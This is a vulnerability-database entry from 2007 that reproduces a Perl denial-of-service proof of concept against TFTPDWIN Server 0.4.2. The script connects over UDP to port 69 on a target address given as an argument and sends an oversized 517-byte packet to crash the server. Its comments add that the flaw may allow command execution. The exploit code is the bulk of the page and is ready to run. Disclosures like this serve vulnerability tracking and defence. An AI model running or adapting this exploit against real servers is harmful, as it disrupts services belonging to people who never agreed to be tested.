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TFTPDWIN Server 0.4.2 (UDP) Denial of Service Exploit

🗓️ 10 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

TFTPDWIN Server 0.4.2 (UDP) Denial of Service Exploit, Vulnerability in TFTPDWIN Server v0.4.2, UDP packet of length more than 516 byte

Code

                                                #!/usr/bin/perl
#
#                            TFTPDWIN Server UDP DOS 0.4.2 POC 
#			            written By : Umesh Wanve ([email protected])
#	
#-------------------------------------------------------------------------------

# TFTPDWIN Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://www.tftpserver.prosysinfo.com.pl)
# A vulnerability has been identified in TFTP Server TFTPDWIN Server v0.4.2, which 
# could be exploited by remote or local attackers to execute arbitrary commands 
# or cause a denial of service. This flaw is when attacker sends UDP packet of length more than 516 bytes

#

#----------------------------Start of Code-------------------------------------



use IO::Socket;
use strict;

my($socket) = \"\";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => \"69\",

Proto    => \"UDP\"))
{
                
                 print $socket \"A\" x 517;
                 sleep(1);
			
                
                 close($socket);
}
else
{
                 print \"Cannot connect to $ARGV[0]:69
\";
}

 
                              

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10 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
14